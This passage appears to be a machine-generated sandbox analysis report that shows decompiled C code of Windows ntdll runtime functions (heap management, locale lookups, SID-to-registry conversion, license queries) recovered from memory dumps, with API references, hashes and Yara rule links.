						_t42 = _a20;
						if(_t42 != 0) {
							 *_t42 = 1;
						}
						goto L7;
					}
					_t19 = _t56 + 2; // -2
					_t45 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t19);
					 *_a12 = _t45;
					if(_t45 != 0) {
						memcpy(_t45, _t68, _v8 + 2);
						_t56 = _v8;
						goto L17;
					}
					_t64 = 0xc0000017;
					goto L7;
				}
				_t64 = 0xc0000039;
				goto L7;
			}

0x6a9a6375
0x6a9a6380
0x6a9a6383
0x6a9a638a
0x6a9a638c
0x6a9a638e
0x6a9a6393
0x6a9a64ab
0x6a9a63fc
0x6a9a63fe
0x6a9a640b
0x6a9a640b
0x6a9a6418
0x6a9a6418
0x6a9a639c
0x6a9a639d
0x6a9a639e
0x6a9a639f
0x6a9a63a1
0x6a9a63a2
0x6a9a63a9
0x6a9a63ad
0x6a9a63fa
0x6a9a63fa
0x00000000
0x6a9a63fa
0x6a9a63af
0x6a9a63b2
0x6a9a63b5
0x6a9a63b5
0x6a9a63b8
0x6a9a63bb
0x6a9a63c5
0x6a9a63cc
0x6a9a63d1
0x6a9a64a1
0x00000000
0x6a9a64a1
0x6a9a63d7
0x6a9a63df
0x6a9a63ec
0x6a9a63f3
0x6a9a641b
0x6a9a641e
0x6a9a6420
0x6a9a6420
0x6a9a6423
0x6a9a6423
0x6a9a6426
0x6a9a6429
0x6a9a6433
0x6a9a6439
0x6a9a643c
0x6a9a6476
0x6a9a6476
0x6a9a647b
0x6a9a647d
0x6a9a647d
0x6a9a647f
0x6a9a6484
0x6a9a648c
0x6a9a648c
0x6a9a648e
0x6a9a6493
0x6a9a6499
0x6a9a6499
0x00000000
0x6a9a6493
0x6a9a643e
0x6a9a644d
0x6a9a6455
0x6a9a6459
0x6a9a646b
0x6a9a6470
0x00000000
0x6a9a6473
0x6a9a645b
0x00000000
0x6a9a645b
0x6a9a63f5
0x00000000

APIs

RtlAllocateHeap.1105(?,00000008,?,00000000,?,00000000), ref: 6A9A6385
ZwQueryVirtualMemory.1105(000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6A9A63A4
memcpy.1105(?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6A9A63DF
wcsrchr.1105(?,0000005C,?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?), ref: 6A9A63E7
RtlFreeHeap.1105(?,00000000,00000000,?,00000008,?,00000000,?,00000000), ref: 6A9A640B
RtlAllocateHeap.1105(?,00000008,-00000002,00000008,?,00000000,?), ref: 6A9A644D
memcpy.1105(00000000,-00000002,?,00000000,?), ref: 6A9A646B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Allocatememcpy$FreeMemoryQueryVirtualwcsrchr
String ID:
API String ID: 58330029-0
Opcode ID: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction ID: a31848bd1d7d211d2928309d0397b49efd8a8e5e7f3bc8b2a78680f0a7238a43
Opcode Fuzzy Hash: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction Fuzzy Hash: 9F41DE36600145ABDB15CF6CCC55BAB3BB9EF80714F264069EB119B241EF31DD02C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A91649B, Relevance: 10.6, APIs: 7, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A91649B(signed int __ecx, short* __edx) {
				signed int _v8;
				char _v40;
				void* _v80;
				short _v82;
				char _v84;
				long _v88;
				char _v92;
				void* _v96;
				void* _v98;
				void* _v100;
				void* _v104;
				void* _v106;
				void* _v108;
				void* _v112;
				void* _v120;
				void* _v122;
				void* _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t37;
				short _t41;
				void* _t43;
				short _t45;
				void* _t65;
				short* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				signed int _t77;
				signed int _t79;

				_t69 = __edx;
				_t79 = (_t77 & 0xfffffff8) - 0x5c;
				_v8 =  *0x6aa0d360 ^ _t79;
				_t71 = __edx;
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				_v80 = 0;
				if(__edx == 0) {
					_t37 = 0xc000000d;
					L7:
					_pop(_t72);
					_pop(_t74);
					_pop(_t65);
					return E6A95B640(_t37, _t65, _v8 ^ _t79, _t69, _t72, _t74);
				}
				_t75 = __ecx & 0x0000ffff;
				 *__edx = 0;
				_v80 =  &_v40;
				_t41 = 0x1e;
				_v82 = _t41;
				_t43 = E6A924720(__edx, __ecx & 0x0000ffff,  &_v84, 2, 0);
				if(_t43 < 0) {
					if(_t43 == 0xc0000023) {
						_v80 = 0;
						_v82 = 0;
						_t43 = E6A924720(__edx, _t75,  &_v84, 2, 1);
					}
					if(_t43 >= 0) {
						goto L2;
					} else {
						_t76 = 0xc000000d;
						L4:
						if(_v88 != _t79 + 0x24) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						if(_v88 != _t79 + 0x44) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v88);
						}
						_t37 = _t76;
						goto L7;
					}
				}
				L2:
				_v88 = _t79 + 0x28;
				_t45 = 0x1e;
				 *((short*)(_t79 + 0x16)) = _t45;
				_t76 = E6A922EB0(_t69, _v80,  &_v92, 6, 0);
				if(_t76 < 0) {
					if(_t76 == 0xc0000023) {
						_v88 = 0;
						 *((short*)(_t79 + 0x16)) = 0;
						_t76 = E6A922EB0(_t69, _v80,  &_v92, 6, 1);
					}
					if(_t76 < 0) {
						goto L4;
					} else {
						goto L3;
					}
				}
				L3:
				if(0 != _v92) {
					_t76 = E6A924570(_t69, _v88, _t79 + 0x24, 3);
					if(_t76 >= 0) {
						 *_t71 =  *((intOrPtr*)(_t79 + 0x20));
					}
				}
				goto L4;
			}

0x6a91649b
0x6a9164a3
0x6a9164ad
0x6a9164b6
0x6a9164b8
0x6a9164bc
0x6a9164c0
0x6a9164c4
0x6a9164ca
0x6a971905
0x6a916550
0x6a916554
0x6a916555
0x6a916556
0x6a916561
0x6a916561
0x6a9164d2
0x6a9164d5
0x6a9164de
0x6a9164e2
0x6a9164e4
0x6a9164f1
0x6a9164f8
0x6a971914
0x6a971918
0x6a97191e
0x6a97192b
0x6a97192b
0x6a971932
0x00000000
0x6a971938
0x6a971938
0x6a916532
0x6a91653a
0x6a971984
0x6a971984
0x6a916548
0x6a97199c
0x6a97199c
0x6a91654e
0x00000000
0x6a91654e
0x6a971932
0x6a9164fe
0x6a916504
0x6a916508
0x6a91650a
0x6a91651f
0x6a916523
0x6a971948
0x6a97194c
0x6a971952
0x6a971967
0x6a971967
0x6a97196b
0x00000000
0x6a971971
0x00000000
0x6a971971
0x6a97196b
0x6a916529
0x6a916530
0x6a916572
0x6a916576
0x6a91657d
0x6a91657d
0x6a916576
0x00000000

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6A9164F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A91651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A91656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6A97192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6A971962

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 2b0318e5a74ed557a6c1844992dc99adeaec81083301d1da4d5fa890a83a2e8e
Instruction ID: 44d8bded8ec5e39e252df2b1ab1d99ee0cb633bed7c06e04cc480bd5ef9e62ba
Opcode Fuzzy Hash: 2b0318e5a74ed557a6c1844992dc99adeaec81083301d1da4d5fa890a83a2e8e
Instruction Fuzzy Hash: BD414F3651870A9FE311CF549880A5BB6E9FF85B58F21092EF990D7254EB30CE15CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 6A944020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110
nativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A944020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _v32;
				intOrPtr* _t43;
				char _t69;
				intOrPtr _t76;
				intOrPtr* _t78;

				_t78 = _a4;
				_t69 = 0;
				_t76 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t78 + 4)) =  *((intOrPtr*)(_t76 + 0xa4));
				 *((intOrPtr*)(_t78 + 8)) =  *((intOrPtr*)(_t76 + 0xa8));
				 *(_t78 + 0xc) =  *(_t76 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t78 + 0x10)) =  *((intOrPtr*)(_t76 + 0xb0));
				_t43 =  *((intOrPtr*)(_t76 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t78 + 0x14)) = 0;
				} else {
					if(E6A924921(_t78 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t78 + 0x14)) = 0;
					}
					_t69 = 0;
				}
				if( *_t78 != 0x11c) {
					if( *_t78 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t78 + 0x114)) =  *(_t76 + 0xaf) & 0x000000ff;
					 *(_t78 + 0x116) =  *(_t76 + 0xae) & 0x000000ff;
					 *(_t78 + 0x118) = E6A944190();
					if( *_t78 == 0x124) {
						 *(_t78 + 0x11c) = E6A944190() & 0x0001ffff;
					}
					 *((char*)(_t78 + 0x11a)) = _t69;
					if(E6A944710( &_v16) != 0) {
						 *((char*)(_t78 + 0x11a)) = _v16;
					}
					RtlInitUnicodeString( &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E6A95A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t78 + 0x118) =  *(_t78 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t78 == 0x124) {
							 *(_t78 + 0x11c) =  *(_t78 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x6a94402a
0x6a94402d
0x6a944030
0x6a94403c
0x6a94403f
0x6a944042
0x6a94404b
0x6a944054
0x6a94405e
0x6a944067
0x6a94406a
0x6a944072
0x6a94407f
0x6a9863db
0x6a9863e8
0x6a9863ec
0x6a9863ec
0x6a9863f0
0x6a9863f0
0x6a944089
0x6a94414e
0x00000000
0x00000000
0x00000000
0x6a94408f
0x6a94408f
0x6a94409b
0x6a9440ac
0x6a9440bd
0x6a9440c6
0x6a94415f
0x6a94415f
0x6a9440cf
0x6a9440dd
0x6a9440e2
0x6a9440e2
0x6a9440f1
0x6a9440f9
0x6a9440fa
0x6a9440ff
0x6a944103
0x6a944107
0x6a94410f
0x6a94413f
0x6a944145
0x6a944111
0x6a944115
0x6a9863fb
0x00000000
0x6a98640b
0x00000000
0x6a98640b
0x6a9863fb
0x6a94411b
0x6a944132
0x6a94413b
0x6a944177
0x6a944177
0x00000000
0x6a94413b
0x6a94410f

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A9440F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A944108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6A944155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6A9440E8

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: ea338c667b7f6eae5312fc28b1e4bcbaff944ae242535305b2f4e5ac423a8863
Instruction ID: 59cdf4a15c11f3b9e63b164f1c70ead27f20dc2317eb2bed60bdcc1f538523cc
Opcode Fuzzy Hash: ea338c667b7f6eae5312fc28b1e4bcbaff944ae242535305b2f4e5ac423a8863
Instruction Fuzzy Hash: 4B419275A4474A9FD724DFA4C4406E6B7F8EF99300F20482ED5A9C7200EB30E555CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6A92A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72
nativeCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6A92A3E0(struct _EXCEPTION_RECORD _a4) {
				signed int _v8;
				char _v88;
				intOrPtr _v92;
				short _v94;
				char _v96;
				void* _v100;
				char _v104;
				void* __edi;
				void* __esi;
				intOrPtr _t31;
				void* _t39;
				void* _t44;
				void* _t45;
				short _t46;
				void* _t47;
				struct _EXCEPTION_RECORD _t48;
				signed int _t49;

				_v8 =  *0x6aa0d360 ^ _t49;
				_t48 = _a4;
				_push( &_v104);
				_push(0x50);
				_push( &_v88);
				_push(1);
				_push(0xfffffffa);
				_t25 = E6A959710();
				_t50 = _t25;
				if(_t25 >= 0 && E6A92A4B0(_t50, _v88,  &_v100) >= 0) {
					_push(_t45);
					_t46 = _v100;
					 *_t48 = 0;
					 *((short*)(_t48 + 2)) = _t46 + 0x22;
					_t31 = E6A933A1C(_t46 + 0x00000022 & 0x0000ffff);
					 *((intOrPtr*)(_t48 + 4)) = _t31;
					_t52 = _t31;
					if(_t31 == 0) {
						_t25 = 0xc0000017;
					} else {
						RtlAppendUnicodeToString(_t48, L"\\REGISTRY\\USER\\");
						_v96 = 0;
						_v94 = _t46;
						_v92 =  *((intOrPtr*)(_t48 + 4)) + (( *_t48 & 0x0000ffff) >> 1) * 2;
						_t47 = E6A92A500(_t39, _t48, _t52,  &_v96, _v88, 0);
						if(_t47 < 0) {
							RtlFreeUnicodeString(_t48);
						} else {
							 *_t48 =  *_t48 + _v96;
						}
						_t25 = _t47;
					}
					_pop(_t45);
				}
				return E6A95B640(_t25, _t39, _v8 ^ _t49, _t44, _t45, _t48);
			}

0x6a92a3ef
0x6a92a3f3
0x6a92a3f9
0x6a92a3fa
0x6a92a3ff
0x6a92a400
0x6a92a402
0x6a92a404
0x6a92a409
0x6a92a40b
0x6a92a41d
0x6a92a41e
0x6a92a423
0x6a92a429
0x6a92a431
0x6a92a436
0x6a92a439
0x6a92a43b
0x6a92a48f
0x6a92a43d
0x6a92a443
0x6a92a44d
0x6a92a45b
0x6a92a462
0x6a92a46e
0x6a92a472
0x6a92a497
0x6a92a474
0x6a92a478
0x6a92a478
0x6a92a47b
0x6a92a47b
0x6a92a47d
0x6a92a47d
0x6a92a48c

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6A92A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A414

Part of subcall function 6A92A4B0: RtlValidSid.1105(?,?,?,6A92A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A497

Part of subcall function 6A933A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6A9567C0,0000004E,00000000,?,6A9A83BE,?,?), ref: 6A933A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A443

Part of subcall function 6A92A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6A92A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6A92A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6A92A469

Part of subcall function 6A92A500: RtlValidSid.1105(00000050,?), ref: 6A92A523
Part of subcall function 6A92A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6A92A54A

Strings

\REGISTRY\USER\, xrefs: 6A92A43D

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$Valid$AllocateAppendConvertFreeHeapInformationLengthQueryTokenmemmovewcscpy_s
String ID: \REGISTRY\USER\
API String ID: 3017593230-2169711131
Opcode ID: 913a28e0a4b74b90f2bc0fed83f51b412001fb94da548204c41e47cd4e1c739e
Instruction ID: ad1fbae91b94bc2b81072386bcc910edd67a01a3ced5c3a8390ab0d93cf09ce9
Opcode Fuzzy Hash: 913a28e0a4b74b90f2bc0fed83f51b412001fb94da548204c41e47cd4e1c739e
Instruction Fuzzy Hash: B921D43291024DAEEB10CFE8CC059AEB3F9AF14304F22452AE951DB644EF30D905CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B8E4, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E6A93B8E4(unsigned int __edx) {
				void* __ecx;
				void* __edi;
				intOrPtr* _t16;
				intOrPtr _t18;
				void* _t27;
				void* _t28;
				unsigned int _t30;
				intOrPtr* _t31;
				unsigned int _t38;
				void* _t39;
				unsigned int _t40;

				_t40 = __edx;
				_t39 = _t28;
				if( *0x6aa08748 >= 1) {
					__eflags = (__edx + 0x00000fff & 0xfffff000) - __edx;
					if((__edx + 0x00000fff & 0xfffff000) != __edx) {
						_t18 =  *[fs:0x30];
						__eflags =  *(_t18 + 0xc);
						if( *(_t18 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)");
						E6A91B150();
						__eflags =  *0x6aa07bc8;
						if(__eflags == 0) {
							E6A9D2073(_t27, 1, _t39, __eflags);
						}
					}
				}
				_t38 =  *(_t39 + 0xb8);
				if(_t38 != 0) {
					_t13 = _t40 >> 0xc;
					__eflags = _t13;
					while(1) {
						__eflags = _t13 -  *((intOrPtr*)(_t38 + 4));
						if(_t13 <  *((intOrPtr*)(_t38 + 4))) {
							break;
						}
						_t30 =  *_t38;
						__eflags = _t30;
						if(_t30 != 0) {
							_t38 = _t30;
							continue;
						}
						_t13 =  *((intOrPtr*)(_t38 + 4)) - 1;
						__eflags =  *((intOrPtr*)(_t38 + 4)) - 1;
						break;
					}
					return E6A93AB40(_t39, _t38, 0, _t13, _t40);
				} else {
					_t31 = _t39 + 0x8c;
					_t16 =  *_t31;
					while(_t31 != _t16) {
						__eflags =  *((intOrPtr*)(_t16 + 0x14)) - _t40;
						if( *((intOrPtr*)(_t16 + 0x14)) >= _t40) {
							return _t16;
						}
						_t16 =  *_t16;
					}
					return _t31;
				}
			}

0x6a93b8f0
0x6a93b8f2
0x6a93b8f4
0x6a982c4e
0x6a982c50
0x6a982c56
0x6a982c5c
0x6a982c60
0x6a982c7f
0x6a982c84
0x6a982c62
0x6a982c77
0x6a982c7c
0x6a982c8a
0x6a982c8f
0x6a982c94
0x6a982c9c
0x6a982ca5
0x6a982ca5
0x6a982c9c
0x6a982c50
0x6a93b8fa
0x6a93b902
0x6a93b921
0x6a93b921
0x6a93b924
0x6a93b924
0x6a93b927
0x00000000
0x00000000
0x6a93b929
0x6a93b92b
0x6a93b92d
0x6a93b940
0x00000000
0x6a93b940
0x6a93b932
0x6a93b932
0x00000000
0x6a93b932
0x00000000
0x6a93b904
0x6a93b904
0x6a93b90a
0x6a93b90c
0x6a93b916
0x6a93b919
0x6a93b915
0x6a93b915
0x6a93b91b
0x6a93b91b
0x00000000
0x6a93b910

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,-00000020,?,6A93B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6A982C77
DbgPrint.1105((ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size),?,-00000020,?,6A93B7BF,-00010018,?,00000000,?,-00000018,?), ref: 6A982C8F

Strings

(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 6A982C8A
HEAP: , xrefs: 6A982C7F
HEAP[%wZ]: , xrefs: 6A982C72

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 3558298466-2558761708
Opcode ID: 0163f27b6cd83b77f8bf3d173cc0c78938896c0eed6a1f44eb85a975ba4e8d38
Instruction ID: 49e636ffd2551c214b2c3a63448a49eda2da912cec9fac2604a815e938f9eefb
Opcode Fuzzy Hash: 0163f27b6cd83b77f8bf3d173cc0c78938896c0eed6a1f44eb85a975ba4e8d38
Instruction Fuzzy Hash: 0211D0313089269FD768CA18C488B26B3BAEF41728F36856AE05BCF353DF70D881C641

Uniqueness

Uniqueness Score: -1.00%

Function 6A919240, Relevance: 10.6, APIs: 7, Instructions: 63
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6A919240(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				void* _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x6a9ef708);
				E6A96D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E6A9595D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E6A9595D0();
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x10));
				RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x1c));
				E6A932280(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000,  *(_t65 + 0x20)), 0x6aa086b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_push( *(_t66 + 0x14));
					E6A9595D0();
					_push( *(_t66 + 0x10));
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E6A9595D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E6A919325();
					return E6A96D0D1(RtlFreeHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0xc0000, _t65));
				}
			}

0x6a919240
0x6a919242
0x6a919247
0x6a91924c
0x6a91924e
0x6a919255
0x6a919257
0x6a91925a
0x6a91925f
0x6a91925f
0x6a919266
0x6a919271
0x6a919276
0x6a919279
0x6a919295
0x6a9192b1
0x6a9192d7
0x6a9192dc
0x6a9192e0
0x6a9192e6
0x6a9192e8
0x6a9192ee
0x6a919332
0x6a919333
0x6a919337
0x6a919338
0x6a91933a
0x6a91933d
0x6a919342
0x6a919345
0x6a919349
0x6a91934e
0x6a919352
0x6a919357
0x6a9192f4
0x6a9192f4
0x6a9192f6
0x6a9192f9
0x6a919300
0x6a919324
0x6a919324

APIs

ZwClose.1105(00000000,6A9EF708,0000000C,6A919219), ref: 6A91925A
ZwClose.1105(00000000,6A9EF708,0000000C,6A919219), ref: 6A919279
RtlFreeHeap.1105(?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A919295
RtlFreeHeap.1105(?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192B1
RtlFreeHeap.1105(?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192CD
RtlAcquireSRWLockExclusive.1105(6AA086B4,?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C,6A919219), ref: 6A9192D7
RtlFreeHeap.1105(?,?,?,6AA086B4,?,?,?,?,?,00000000,?,?,?,00000000,6A9EF708,0000000C), ref: 6A91931A

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$Close$AcquireExclusiveLock
String ID:
API String ID: 3557490396-0
Opcode ID: d86ca2cd03a1527784dd535fea96c96081fe3e68f8c436e480bf5a8176d48a0a
Instruction ID: 12f48ade377d062b992f203cc7bf81b7760e6fef77aa3fcd9321fede927f2535
Opcode Fuzzy Hash: d86ca2cd03a1527784dd535fea96c96081fe3e68f8c436e480bf5a8176d48a0a
Instruction Fuzzy Hash: 8D215971141A04DFC761DF28CA44F19B7F9FF28308F224569E00A876A2CF35EA52CB48

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E4015, Relevance: 10.5, APIs: 7, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A9E4015(signed int __eax, void* __ecx) {
				void* __ebx;
				void* __edi;
				char _t10;
				void* _t18;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t32 = __ecx + 0x1c;
					E6A932280(_t10, __ecx + 0x1c);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E6A932280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x6aa086ac);
					L6A91F900(0x6aa086d4, _t28);
					E6A92FFB0(0x6aa086ac, _t28, 0x6aa086ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E6A92FFB0(0, _t28, _t32);
					_t18 =  *(_t28 + 0x94);
					if(_t18 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t18);
					}
					_t10 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t28);
				}
				return _t10;
			}

0x6a9e401a
0x6a9e401e
0x6a9e4023
0x6a9e4028
0x6a9e4029
